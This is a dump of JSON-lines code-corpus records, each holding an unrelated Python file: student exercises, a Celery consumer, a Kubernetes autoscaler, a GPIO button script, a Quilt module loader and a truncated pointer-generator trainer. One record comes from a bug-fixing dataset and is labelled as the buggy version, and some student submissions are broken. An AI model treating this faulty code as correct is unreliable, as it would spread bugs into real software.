+{"seq_id":"581918558","text":"def main(): \n numero = int(input(\"Digite um número de 4 dígitos: \"))\n\n resultado = calculo(numero)\n verificacao = verificar_se_iguais(numero,resultado)\n \n \ndef calculo(n):\n num_1 = n // 100\n num_2 = n % 100\n soma = num_1 + num_2\n numero_digitado = soma ** 2\n return numero_digitado\n\n\ndef verificar_se_iguais(a,b):\n if a == b:\n print(\"Este número obedece à caraterística, pois ele é igual ao resultado do cálculo.\")\n else:\n print(\"Este número não obedece à caraterística, pois ele não é igual ao resultado do cálculo.\")\n\nmain()\n\n\n","sub_path":"Fabio02a/Q30_F2a_verif_caract.py","file_name":"Q30_F2a_verif_caract.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"592353842","text":"\narray = [1,2,2,3,1]\n\n\n\"\"\"\ndoing bitwise XOR would cancel all the same numbers and leave the variable\nwith single value item in this case\nexplanation:\n1^2 is a some bitwise between these two numbers\n!^2^2 leaves the variable with 1\n\"\"\"\nret = array[0]\nfor i in range(1,len(array)):\n ret ^= array[i]\nprint (ret)\n","sub_path":"find_single_elem_O_of_N.py","file_name":"find_single_elem_O_of_N.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"491814455","text":"# -*- coding:utf-8 -*-\nfrom celery import bootsteps\nfrom kombu import Consumer, Exchange, Queue\nfrom .config import custom_exchange, custom_queue, custom_rk\n\n\nclass CustomConsumerStep(bootsteps.ConsumerStep):\n \"\"\"Get message from custom queue and create celery task\"\"\"\n\n def get_consumers(self, channel):\n exchange = Exchange(custom_exchange, 'direct')\n queue = Queue(custom_queue, exchange=exchange, routing_key=custom_rk)\n return [\n Consumer(\n channel,\n queues=[queue],\n callbacks=[self.handle_message],\n accept=['json']\n )\n ]\n\n def handle_message(self, body, message):\n # Attention!\n # You can't import task in other place\n # You can't wait for result\n from .tasks import test1\n test1.delay(body['a'], body['b'])\n message.ack()\n","sub_path":"project/custom_consumer/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"599297535","text":"\n# coding: utf-8\n\n# # Function gshow\n\n# ## Synopse\n\n# Overlay color planes on a gray scale image ready for display.\n# \n# - **g = gshow(f, X1, X2, X3, X4, X5, X6)**\n# - **g:** Output. RGB Image.\n# - **f:** Image. Gray Scale input image.\n# - **X1:** binary image. Overlay as Red.\n# - **X2:** binary image. Overlay as Green.\n# - **X3:** binary image. Overlay as Blue.\n# - **X4:** binary image. Overlay as Magenta.\n# - **X5:** binary image. Overlay as Yellow.\n# - **X6:** binary image. Overlay as Cyan.\n\n# In[1]:\n\nimport numpy as np\n\ndef gshow(f, X1=None, X2=None, X3=None, X4=None, X5=None, X6=None):\n \n if f.dtype == np.bool:\n f = np.where(f,255,0).astype('uint8')\n \n r = f\n g = f\n b = f\n \n if X1 is not None: # red 1 0 0\n if (X1.dtype != np.bool): \n raise Exception('X1 must be binary overlay')\n r = np.where(X1,255,r)\n g = np.where(~X1,g,0)\n b = np.where(~X1,b,0)\n if X2 is not None: # green 0 1 0\n if (X2.dtype != np.bool):\n raise Exception('X2 must be binary overlay')\n r = np.where(~X2,r,0)\n g = np.where(X2,255,g)\n b = np.where(~X2,b,0)\n if X3 is not None: # blue 0 0 1\n if (X3.dtype != np.bool):\n raise Exception('X3 must be binary overlay')\n r = np.where(~X3,r,0)\n g = np.where(~X3,g,0)\n b = np.where(X3,255,b)\n if X4 is not None: # magenta 1 0 1\n if (X4.dtype != np.bool):\n raise Exception('X4 must be binary overlay')\n r = np.where(X4,255,r)\n g = np.where(~X4,g,0)\n b = np.where(X4,255,b)\n if X5 is not None: # yellow 1 1 0\n if (X5.dtype != np.bool):\n raise Exception('X5 must be binary overlay')\n r = np.where(X5,255,r)\n g = np.where(X5,255,g)\n b = np.where(~X5,b,0)\n if X6 is not None: # cyan 0 1 1\n if (X6.dtype != np.bool):\n raise Exception('X6 must be binary overlay')\n r = np.where(~X6,r,0)\n g = np.where(X6,255,g)\n b = np.where(X6,255,b)\n \n return np.array([r,g,b])\n\n\n# ## Description\n\n# Creates a RGB image from the input grayscale image f, overlayed by optional binary planes, each one with a different color. This function is useful to display results of segmentation or when one wants to highlight a particular region of the image.\n\n# ## Examples\n\n# In[1]:\n\ntesting = (__name__ == \"__main__\")\nif testing:\n get_ipython().system(' jupyter nbconvert --to python gshow.ipynb')\n import numpy as np\n import sys,os\n ea979path = os.path.abspath('../../')\n if ea979path not in sys.path:\n sys.path.append(ea979path)\n import ea979.src as ia\n \n import matplotlib.image as mpimg\n\n\n# ### Numerical example\n\n# In[2]:\n\nif testing:\n f = np.arange(25).reshape(5,5)\n\n print('f: \\n',f)\n print('\\nf>20: \\n',f>20)\n\n print('\\ngshow(f,f>20) \\n',ia.gshow(f,f>20))\n\n\n# ### Image examples\n\n# In[3]:\n\nif testing:\n f = mpimg.imread('../data/cameraman.tif')\n\n g = ia.gshow(f, f>230)\n \n nb = ia.nbshow(2)\n nb.nbshow(f,'Original image')\n nb.nbshow(g,'Pixels with values above 230 are shown in red')\n nb.nbshow()\n\n\n# In[4]:\n\nif testing:\n f = ia.gaussian((256,256), np.transpose([[128,128]]), [[50*50,0],[0,80*80]])\n fn = ia.normalize(f, [0,255])\n \n f1 = ia.gshow(fn, fn > 20, fn > 30, fn > 40, fn > 50, fn > 60, fn > 70)\n \n nb = ia.nbshow(2)\n nb.nbshow(fn,'Original image')\n nb.nbshow(f1,'Overlaid image')\n nb.nbshow()\n\n\n# ## Reference\n\n# - [Function iagshow](http://adessowiki.fee.unicamp.br/adesso/wiki/ia636/iagshow/view/)\n\n# ## Contributions\n\n# - Tiago Dezotti, 1. sem 2017.\n\n# In[ ]:\n\n\n\n","sub_path":"src/gshow.py","file_name":"gshow.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"320028349","text":"# -*- coding: utf-8 -*-\nm = int(input('Digite a quantidade de termos n: '))\nn = []\n\ndef maiordegrau(m,n):\n for i in range(1,n+1,1):\n h = n - (n-1)\n if h<0:\n h = h*(-1)\n return(h)\n\nfor i in range(0,n,1):\n n.append(int(input('Digite um termo n: ')))\n \nprint(maiordegrau(5,4)) \n \n\n","sub_path":"moodledata/vpl_data/334/usersdata/300/94827/submittedfiles/listas.py","file_name":"listas.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"529602368","text":"class Node:\n def __init__ (self,data):\n self.data=data\n self.next=None\n\nclass LinkedList:\n def __init__(self):\n self.head=None\n\n\n def push(self, new_data):\n new_node = Node(new_data)\n new_node.next = self.head\n self.head = new_node\n\n\n # Deleting a node\n\n def deleteNode(self, key):\n\n #case1: deleting the head\n \n if self.head!=None:\n if self.head.data==key:\n self.head=self.head.next\n return \n \n # case2: deleting in middle\n else:\n n=self.head\n while(n.next==None or n.next.data!=key ):\n if n.next == None:\n return (print('Given key does not present'))\n n=n.next\n \n n.next=n.next.next\n\n # print function\n\n def printList(self):\n temp=self.head\n while(temp):\n print(temp.data,end='')\n temp=temp.next\n\n\n#driver code\n\nllist = LinkedList()\nllist.push(7)\nllist.push(1)\nllist.push(3)\nllist.push(2)\n \nprint (\"Created Linked List: \")\nllist.printList()\nllist.deleteNode(5)\nprint (\"\\nLinked List after Deletion of 1:\")\nllist.printList()\n\n\n\n \n \n","sub_path":"Linked List/Linked List Deletion.py","file_name":"Linked List Deletion.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"20803594","text":"#!/usr/bin/python3\nimport json\nimport sys\nimport urllib.request\nimport time\nimport numpy\nimport os\nimport signal\nimport configparser\nimport subprocess\nfrom datetime import datetime\n\ndata_file = \"/etc/autoscale/autoscale.conf\"\nscale_script = \"/opt/bin/autoscale/scale.sh\"\nMAX_VMS_LIMIT = 0\nMIN_VMS_LIMIT = 0\nMAX_GCE_VMS_LIMIT = 0\nMIN_GCE_VMS_LIMIT = 0\nMAX_CPU_LIMIT = 0\nMIN_CPU_LIMIT = 0\nCUR_NODES_COUNT = 0\nPOLLING_CLUSTER_PERIOD = 15\nNODES_OBJ = {}\nALL_NODES={} # { \"nodeIP\" { \"cpu\" : 40, \"auto\": True } }\nMAX_HYSTERESIS_COUNT = 6\nCUR_HYSTERESIS = { \"count\": 0, \"sample_type\": None } # { sample_type=\"scaleUp\" or \"scaleDown\" }\nUPDATED_NODES_LIST=[]\n\n# Parsing input parameters from autoscale.conf\ndef get_params():\n global MAX_VMS_LIMIT, MIN_VMS_LIMIT, MIN_GCE_VMS_LIMIT\n global MAX_GCE_VMS_LIMIT, MAX_CPU_LIMIT, MIN_CPU_LIMIT, MASTER\n configParser = configparser.ConfigParser()\n configParser.read(data_file)\n MASTER = configParser.get('DEFAULT', 'MASTER')\n MAX_VMS_LIMIT = int(configParser.get('DEFAULT', 'max_vms_limit'))\n MIN_VMS_LIMIT = int(configParser.get('DEFAULT', 'min_vms_limit'))\n MAX_CPU_LIMIT = int(configParser.get('DEFAULT', 'MAX_CPU_LIMIT'))\n MIN_CPU_LIMIT = int(configParser.get('DEFAULT', 'MIN_CPU_LIMIT'))\n try:\n MAX_GCE_VMS_LIMIT = int(configParser.get('GCE', 'gcp_minion_nodes'))\n except Exception as e:\n MAX_GCE_VMS_LIMIT = 0\n\n\ndef get_cpu_usage(node_ip):\n api = \"http://\"+node_ip+\":4194/api/v1.3/machine\"\n request = urllib.request.Request(api)\n response = urllib.request.urlopen(request)\n decode_response = (response.read().decode('utf-8'))\n string = str(decode_response)\n machine_info = json.loads(string)\n num_cores = machine_info[\"num_cores\"]\n\n api = \"http://\"+node_ip+\":4194/api/v1.3/containers/\"\n request = urllib.request.Request(api)\n response = urllib.request.urlopen(request)\n decode_response = (response.read().decode('utf-8'))\n string = str(decode_response)\n containers_info = json.loads(string)\n len_stats = len(containers_info[\"stats\"])\n len_stats = int(len_stats)\n cur_stats = len_stats - 1\n prev_stats = len_stats - 2\n cur_status = containers_info[\"stats\"][cur_stats]\n prev_status = containers_info[\"stats\"][prev_stats]\n cur_cpu_usage = cur_status[\"cpu\"][\"usage\"][\"total\"]\n cur_timestamp = cur_status[\"timestamp\"]\n prev_cpu_usage = prev_status[\"cpu\"][\"usage\"][\"total\"]\n prev_timestamp = prev_status[\"timestamp\"]\n cur_time = numpy.datetime64(cur_timestamp).astype(datetime)\n prev_time = numpy.datetime64(prev_timestamp).astype(datetime)\n raw_cpu_usage = cur_cpu_usage - prev_cpu_usage\n try:\n interval_ns = cur_time - prev_time\n except Exception as e:\n return False\n if interval_ns != 0:\n cpu_usage = raw_cpu_usage/interval_ns\n else:\n return False\n cpu_usage = cpu_usage/num_cores * 100\n cpu_usage = '%.f' % round(cpu_usage, 1)\n cpu_usage = int(cpu_usage)\n if (cpu_usage > 100):\n cpu_usage = 100\n return cpu_usage\n\n\n# retuns True, if cluster is ready.\ndef get_k8s_status():\n api = \"http://\"+MASTER+\":8080\"\n request = urllib.request.Request(api)\n try:\n response = urllib.request.urlopen(request)\n if response.status == 200:\n print(\"OK\")\n return True\n except Exception as e:\n print(\"not OK\")\n print(e)\n return False\n\n\ndef get_total_nodes():\n global NODES_OBJ,UPDATED_NODES_LIST\n api = \"http://\"+MASTER+\":8080/api/v1/nodes\"\n request = urllib.request.Request(api)\n response = urllib.request.urlopen(request)\n decode_response = (response.read().decode('utf-8'))\n string = str(decode_response)\n nodes_info = json.loads(string)\n NODES_OBJ = nodes_info\n try:\n number_minions = len(nodes_info[\"items\"])\n UPDATED_NODES_LIST=[]\n for i in range(0,number_minions):\n UPDATED_NODES_LIST.append(NODES_OBJ[\"items\"][i][\"metadata\"][\"name\"])\n return number_minions\n except Exception as e:\n return -1\n\ndef get_private_nodes(total):\n return total-get_gcp_nodes()\n\n\ndef get_gcp_nodes():\n if MAX_GCE_VMS_LIMIT == 0:\n return 0\n # gce_nodes=os.system(\"sudo ./gceIpManger.sh busy_count\")\n # print(gce_nodes)\n gceIpManager = \"/opt/bin/autoscale/gceIpManager.sh\"\n cmd = \"sudo bash \"+gceIpManager+\" busy_count\"\n output = subprocess.check_output(cmd, shell=True)\n return int(output)\n\n\ndef print_limits():\n print (\"Max VMs in Cluster: \", MAX_VMS_LIMIT)\n print (\"Min VMs in Cluster: \", MIN_VMS_LIMIT)\n print (\"Max GCE VMs Limit: \", MAX_GCE_VMS_LIMIT)\n print (\"Min GCE VMs Limit: \", MIN_GCE_VMS_LIMIT)\n print (\"Max CPU Usage Limit: \", MAX_CPU_LIMIT)\n print (\"Min CPU Usage Limit: \", MIN_CPU_LIMIT, \"\\n\")\n\n\ndef is_node_ready(minion):\n try:\n if NODES_OBJ[\"items\"][minion][\"status\"][\"conditions\"][0][\"status\"] != \\\n \"True\":\n return False\n except Exception as e:\n return False\n return True\n\ndef is_auto_created(minion):\n if \"type\" in NODES_OBJ[\"items\"][minion][\"metadata\"][\"labels\"]:\n if \"creationType\" in NODES_OBJ[\"items\"][minion][\"metadata\"][\"labels\"]:\n return True\n else:\n return False\n else:\n return True\n \n\n\ndef update_removed_nodes():\n removed_nodes=[]\n global UPDATED_NODES_LIST, ALL_NODES, CUR_HYSTERESIS\n for n in ALL_NODES:\n if n not in UPDATED_NODES_LIST:\n removed_nodes.append(n)\n for n in removed_nodes:\n del ALL_NODES[n]\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (timestamp + \" - \" + n + \" node removed from cluster\")\n CUR_HYSTERESIS[\"count\"] = 0\n\ndef scaleUpNodes():\n if (private_nodes < MAX_VMS_LIMIT):\n # Private Scale up\n print(\"Scaling up private\")\n os.system(scale_script + ' up')\n return True\n elif (get_gcp_nodes() < MAX_GCE_VMS_LIMIT):\n # GCE Scale UP\n print(\"private nodes limit has been reached\")\n print(\"Scaling up GCE\")\n os.system(scale_script + ' up gce')\n return True\n else:\n # Max reached\n print(\"Max nodes have been reached\")\n return False\n\n\ndef scaleDownNodes():\n if (get_gcp_nodes() > MIN_GCE_VMS_LIMIT):\n # GCE Scale Down\n gceIpManager = \"/opt/bin/autoscale/gceIpManager.sh\"\n cmd = \"sudo bash \"+gceIpManager+\" auto_busy_node\"\n output = subprocess.check_output(cmd, shell=True)\n output=output.decode(\"utf-8\")[:-1]\n if (output != \"0\"):\n print(\"GCE Scale Down\")\n os.system(scale_script + ' down gce')\n return True\n if (private_nodes > MIN_VMS_LIMIT):\n # Private Scale down\n print(\"Private Scale down\")\n os.system(scale_script + ' down')\n return True\n else:\n # Already Min\n # print(\"Min nodes have been reached\")\n return False\n\nget_params()\nprint(\"Waiting for Cluster\")\nwhile (get_k8s_status() is not True):\n time.sleep(1)\nprint(\"cluster is up\")\ntime.sleep(20)\nprint_limits()\n\nwhile 1:\n total_minions = get_total_nodes()\n if (total_minions == -1):\n time.sleep(3)\n continue\n minion = 0\n update_removed_nodes()\n while minion < total_minions:\n node_ip = NODES_OBJ[\"items\"][minion][\"metadata\"][\"name\"]\n \n if (is_node_ready(minion) is False):\n minion += 1\n time.sleep(3)\n continue\n # print(\"monitoring minion: \", node_ip)\n minion += 1\n\n cpu_usage = get_cpu_usage(node_ip)\n if(cpu_usage is False):\n time.sleep(3)\n continue\n if node_ip not in ALL_NODES:\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (timestamp + \" - \"+\"Started monitoring node \" + node_ip)\n CUR_HYSTERESIS[\"count\"] = 0\n time.sleep(POLLING_CLUSTER_PERIOD)\n if is_auto_created(minion-1):\n ALL_NODES[node_ip] = { \"cpu\": cpu_usage,\"auto\": True }\n else:\n ALL_NODES[node_ip] = { \"cpu\": cpu_usage,\"auto\": False }\n \n ALL_NODES[node_ip][\"cpu\"] = cpu_usage\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (timestamp + \" - CPU usage of \"+node_ip+\" :\", cpu_usage)\n time.sleep(2)\n\n private_nodes = get_private_nodes(total_minions)\n if not ALL_NODES:\n CUR_HYSTERESIS[\"count\"]=0\n time.sleep(POLLING_CLUSTER_PERIOD)\n continue\n AUTO_CREATED_NODES = dict((node,details) for node, details in ALL_NODES.items() if details[\"auto\"])\n if all(MAX_CPU_LIMIT > v['cpu'] > MIN_CPU_LIMIT for v in ALL_NODES.values()):\n # All nodes in within threshold level\n CUR_HYSTERESIS[\"count\"] = 0\n time.sleep(POLLING_CLUSTER_PERIOD)\n continue\n elif any(v['cpu'] < MIN_CPU_LIMIT for v in ALL_NODES.values()) and \\\n any(v['cpu'] > MAX_CPU_LIMIT for v in ALL_NODES.values()):\n # Some nodes are above max and below min threshold\n CUR_HYSTERESIS[\"count\"] = 0\n time.sleep(POLLING_CLUSTER_PERIOD)\n continue\n elif any(v['cpu'] > MAX_CPU_LIMIT for v in ALL_NODES.values()):\n if CUR_HYSTERESIS[\"sample_type\"] != \"scaleUp\":\n CUR_HYSTERESIS[\"sample_type\"] = \"scaleUp\"\n CUR_HYSTERESIS[\"count\"] = 1\n elif CUR_HYSTERESIS[\"count\"] == MAX_HYSTERESIS_COUNT:\n if scaleUpNodes():\n CUR_HYSTERESIS[\"count\"] = 0\n else:\n CUR_HYSTERESIS[\"count\"] = CUR_HYSTERESIS[\"count\"] + 1\n elif any(v['cpu'] < MIN_CPU_LIMIT for v in AUTO_CREATED_NODES.values()):\n if CUR_HYSTERESIS[\"sample_type\"] != \"scaleDown\":\n CUR_HYSTERESIS[\"sample_type\"] = \"scaleDown\"\n CUR_HYSTERESIS[\"count\"] = 1\n elif CUR_HYSTERESIS[\"count\"] == MAX_HYSTERESIS_COUNT:\n if scaleDownNodes():\n CUR_HYSTERESIS[\"count\"] = 0\n else:\n CUR_HYSTERESIS[\"count\"] = CUR_HYSTERESIS[\"count\"] + 1\n time.sleep(POLLING_CLUSTER_PERIOD)\n","sub_path":"Docker/Kubernetes/KubernetesCluster/package/Resources/scripts/auto_scale/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":10071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"603115527","text":"import RPi.GPIO as GPIO\nimport time\nimport sys\nimport struct\nimport os\n\ndef single_click():\n\tprint(\"single\")\n\tos.system(\"/home/pi/room/event_read/bin/button1.sh\")\n\ndef double_click():\n\tprint(\"double\")\n\tos.system(\"/home/pi/room/event_read/bin/button0.sh\")\n\nif __name__ == '__main__':\n\tgpio_pin = int(sys.argv[1])\n\n\tGPIO.setmode(GPIO.BCM)\n\tGPIO.setup(gpio_pin,GPIO.IN)\n\n\tflag_checking = False\n\tlast_checking = time.time()\n\tlast_state = False\n\ttry:\n\t\twhile True:\n\t\t\tt = time.time()\n\t\t\tstate = GPIO.input(gpio_pin) == GPIO.HIGH\n\t\t\tif flag_checking == False:\n\t\t\t\tif last_state == True and state == False:\n\t\t\t\t\tflag_checking = True\n\t\t\t\t\tlast_checking = t\n\t\t\telse:\n\t\t\t\tif t - last_checking > 1:\n\t\t\t\t\t#timeout\n\t\t\t\t\tflag_checking = False\n\t\t\t\t\tlast_state = False\n\t\t\t\t\tsingle_click()\n\n\t\t\t\tif last_state == True and state == False:\n\t\t\t\t\tflag_checking = False\n\t\t\t\t\tlast_state = False\n\t\t\t\t\tdouble_click()\n\t\t\tlast_state = state\n\t\t\ttime.sleep(0.01)\n\texcept KeyboardInterrupt:\n\t\tGPIO.cleanup()\n","sub_path":"gpio_button.py","file_name":"gpio_button.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"601601045","text":"#!/usr/bin/env python3\n\nimport argparse\nfrom lxml import etree\nimport unicodedata as ud \n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('phoneset', type = argparse.FileType('rb'))\nargs = parser.parse_args()\n\nphonset_xml = etree.parse(args.phoneset)\nfor phone in phonset_xml.xpath('//phone'):\n name = phone.get('name')\n if name == '_':\n continue\n desc = phone.find('description')\n ipa = ud.normalize('NFD', desc.get('ipa'))\n ipa_num = ''.join([f'{ord(c):04X}' for c in ipa])\n print(f\"{name}\\t{ipa}\\t{ipa_num}\")","sub_path":"idlak-misc/tools/print_ipa_unicode.py","file_name":"print_ipa_unicode.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"392325643","text":"\"\"\"\nMagic module that maps its submodules to Quilt tables.\n\nSubmodules have the following format: quilt.data.$user.$package.$table\n\nE.g.:\n import quilt.data.$user.$package as $package\n print $package.$table\nor\n from quilt.data.$user.$package import $table\n print $table\n\nThe corresponding data is looked up in `quilt_modules/$user/$package.json`\nin ancestors of the current directory.\n\"\"\"\n\nimport imp\nimport os.path\nimport sys\n\nfrom six import iteritems\n\nfrom .nodes import DataNode, GroupNode, PackageNode\nfrom .tools import core\nfrom .tools.store import PackageStore\n\n\n__path__ = [] # Required for submodules to work\n\n\nclass FakeLoader(object):\n \"\"\"\n Fake module loader used to create intermediate user and package modules.\n \"\"\"\n def __init__(self, path):\n self._path = path\n\n def load_module(self, fullname):\n \"\"\"\n Returns an empty module.\n \"\"\"\n mod = sys.modules.setdefault(fullname, imp.new_module(fullname))\n mod.__file__ = self._path\n mod.__loader__ = self\n mod.__path__ = []\n mod.__package__ = fullname\n return mod\n\n\ndef _from_core_node(package, core_node):\n if isinstance(core_node, core.TableNode) or isinstance(core_node, core.FileNode):\n node = DataNode(package, core_node)\n else:\n if isinstance(core_node, core.RootNode):\n node = PackageNode(package, core_node)\n elif isinstance(core_node, core.GroupNode):\n node = GroupNode(package, core_node)\n else:\n assert \"Unexpected node: %r\" % core_node\n\n for name, core_child in iteritems(core_node.children):\n child = _from_core_node(package, core_child)\n setattr(node, name, child)\n\n return node\n\n\nclass PackageLoader(object):\n \"\"\"\n Module loader for Quilt tables.\n \"\"\"\n def __init__(self, path, package):\n self._path = path\n self._package = package\n\n def load_module(self, fullname):\n \"\"\"\n Returns an object that lazily looks up tables and groups.\n \"\"\"\n mod = sys.modules.get(fullname)\n if mod is not None:\n return mod\n\n # We're creating an object rather than a module. It's a hack, but it's approved by Guido:\n # https://mail.python.org/pipermail/python-ideas/2012-May/014969.html\n\n mod = _from_core_node(self._package, self._package.get_contents())\n sys.modules[fullname] = mod\n return mod\n\n\nclass ModuleFinder(object):\n \"\"\"\n Looks up submodules.\n \"\"\"\n @staticmethod\n def find_module(fullname, path=None):\n \"\"\"\n Looks up the table based on the module path.\n \"\"\"\n if not fullname.startswith(__name__ + '.'):\n # Not a quilt submodule.\n return None\n\n submodule = fullname[len(__name__) + 1:]\n parts = submodule.split('.')\n\n if len(parts) == 1:\n for store_dir in PackageStore.find_store_dirs():\n store = PackageStore(store_dir)\n # find contents\n file_path = store.user_path(parts[0])\n if os.path.isdir(file_path):\n return FakeLoader(file_path)\n else:\n raise ImportError('Could not find any installed packages by user {user!r}.\\n '\n 'Check the name, or use \"quilt install {user}/\" to install'\n .format(user=parts[0]))\n elif len(parts) == 2:\n user, package = parts\n pkgobj = PackageStore.find_package(user, package)\n if pkgobj:\n file_path = pkgobj.get_path()\n return PackageLoader(file_path, pkgobj)\n else:\n raise ImportError('Could not find package by user {user!r} named {package!r}.\\n '\n 'Check the name, or use \"quilt install {user}/{package}\" to install'\n .format(**locals()))\n\n return None\n\nsys.meta_path.append(ModuleFinder)\n","sub_path":"compiler/quilt/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"406702484","text":"def step1():\n user_input = []\n print(f'I will be asking you for 3 numbers')\n \n for i in range(3):\n num = int(input(f'Give me a number: '))\n user_input.append(num)\n\n input_max = max(num for num in user_input)\n input_min = min(num for num in user_input)\n\n print(f'Your Numbers are: {user_input}. Calculating the max. ')\n print(f'The Max from the numbers given is {input_max}')\n print(f'The Min from the numbers given is {input_min}')\n\nstep1()","sub_path":"week5/function/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"453285782","text":"def init_params(self, initializer=Uniform(0.01), arg_params=None, aux_params=None, allow_missing=False, force_init=False):\n 'Initialize parameters.\\n\\n Parameters\\n ----------\\n initializer : Initializer\\n arg_params : dict\\n Default `None`. Existing parameters. This has higher priority than `initializer`.\\n aux_params : dict\\n Default `None`. Existing auxiliary states. This has higher priority than `initializer`.\\n allow_missing : bool\\n Allow missing values in `arg_params` and `aux_params` (if not `None`). In this case,\\n missing values will be filled with `initializer`.\\n force_init : bool\\n Default `False`.\\n '\n if (self.params_initialized and (not force_init)):\n return\n assert self.binded, 'call bind before initializing the parameters'\n for module in self._modules:\n module.init_params(initializer=initializer, arg_params=arg_params, aux_params=aux_params, allow_missing=allow_missing, force_init=force_init)\n\n def _check_name(known_names, new_names, modules, i):\n 'Internal function to help checking duplicated names.'\n for name in new_names:\n assert (not known_names.has_key(name)), (('Duplicated parameter names: ' + ('name \"%s\" in layer %d (%s) is already ' % (name, i, type(modules[i])))) + ('used in layer %d (%s).' % (known_names[name], type(modules[known_names[name]]))))\n known_names[name] = i\n arg_names = dict()\n aux_names = dict()\n for (i_layer, module) in enumerate(self._modules):\n (arg_params, aux_params) = module.get_params()\n _check_name(arg_names, arg_params.iterkeys(), self._modules, i_layer)\n _check_name(aux_names, aux_params.iterkeys(), self._modules, i_layer)\n self.params_initialized = True","sub_path":"Data Set/bug-fixing-4/23f7e39158715d89381e26725f81bf1730ee5a15--bug.py","file_name":"23f7e39158715d89381e26725f81bf1730ee5a15--bug.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"300794290","text":"from __future__ import unicode_literals, print_function, division\n\nimport random\nimport time\n\n#import utils as utils\n#from utils import *\n#from pointer_gen import *\nimport PointerGenerator.utils as utils\nfrom PointerGenerator.utils import *\nfrom PointerGenerator.pointer_gen import *\n\n\nclass PGModel():\n def __init__(self, config, vocab, use_cuda):\n self.use_cuda = use_cuda\n self.config = config\n self.vocab = vocab\n\n self.encoder = EncoderRNN(self.vocab.vocab_size, config['embedding_size'], hidden_size=config['hidden_size'])\n self.emb_w = self.encoder.embedding.weight # use weight sharing?\n\n if config['model_type'] == 'TemporalAttn':\n self.decoder = TemporalAttnDecoderRNN(config['hidden_size'], config['embedding_size'],\n self.vocab.vocab_size, 1, dropout_p=0.1, embedding_weight=None)\n else:\n self.decoder = CoverageAttnDecoderRNN(config['hidden_size'], config['embedding_size'],\n self.vocab.vocab_size, 1, dropout_p=0.1,\n input_lenght=config['input_length'], embedding_weight=None, use_conv=True)\n if use_cuda:\n self.encoder.cuda()\n self.decoder.cuda()\n\n self.encoder_optimizer = None\n self.decoder_optimizer = None\n self.criterion = None\n self.logger = None\n print(\"Model compiled\")\n\n\n def save_model(self, path, id, epoch, loss):\n data = {\n 'epoch': epoch + 1,\n 'best_prec1': loss,\n 'vocab': self.vocab,\n 'config': self.config,\n 'logger': self.logger,\n 'encoder': self.encoder.state_dict(), 'decoder': self.decoder.state_dict(),\n 'encoder_optm': self.encoder_optimizer.state_dict(),'decoder_optm': self.decoder_optimizer.state_dict()\n }\n filename= path + \"checkpoint_\" + id + \"_ep@\"+str(epoch)+\"_loss@\"+str(round(loss, 3))+\".pickle\"\n torch.save(data, filename)\n\n def load_model(self, file_path, file_name):\n data = torch.load(file_path + file_name)\n self.encoder.load_state_dict(data['encoder'])\n self.decoder.load_state_dict(data['decoder'])\n self.vocab = data['vocab']\n\n\n def train(self, data, val_data, nb_epochs, batch_size, optimizer, lr, tf_ratio, stop_criterion, use_cuda, print_evry):\n\n if self.logger is None:\n self.encoder_optimizer = optimizer(self.encoder.parameters(), lr= lr, weight_decay=0.0000001)\n self.decoder_optimizer = optimizer(self.decoder.parameters(), lr= lr, weight_decay=0.0000001)\n self.criterion = nn.NLLLoss()\n self.logger = TrainingLogger(nb_epochs, batch_size, len(data), len(val_data))\n print(\"Optimizers compiled\")\n\n for epoch in range(len(self.logger.log), nb_epochs):\n self.logger.init_epoch(epoch)\n batches = utils.sort_and_shuffle_data(data, nb_buckets=100, batch_size=batch_size, rnd=True)\n for b in range(len(batches)):\n loss, _time = self.train_batch(samples=batches[b], use_cuda=self.use_cuda)\n self.logger.add_iteration(b+1, loss, _time)\n if b % print_evry == 0:\n preds = self.predict([data[b*batch_size]], self.config['target_length'], False, self.use_cuda)\n print('\\n', \" \".join([t[0]['word'] for t in preds]))\n preds_beam = self.predict([data[b*batch_size]], self.config['target_length'], 5, self.use_cuda)\n print('\\n', \"beam:\", preds_beam[0][0])\n\n for b in range(int(len(val_data)/batch_size)):\n try:\n loss, _time = self.train_batch(val_data[b*batch_size:(b+1)*batch_size], self.use_cuda, backprop=False)\n self.logger.add_val_iteration(b+1, loss, _time)\n except:\n print(\"\\n\", \"Error during validation!\")\n\n if epoch == 0 or self.logger.log[epoch][\"val_loss\"] < self.logger.log[epoch-1][\"val_loss\"]:\n self.save_model(self.config['model_path'], self.config['model_id'],\n epoch=epoch, loss=self.logger.log[epoch][\"val_loss\"])\n\n\n def train_batch(self, samples, use_cuda, tf_ratio=0.5, backprop=True, coverage_lambda=-1):\n start = time.time()\n if 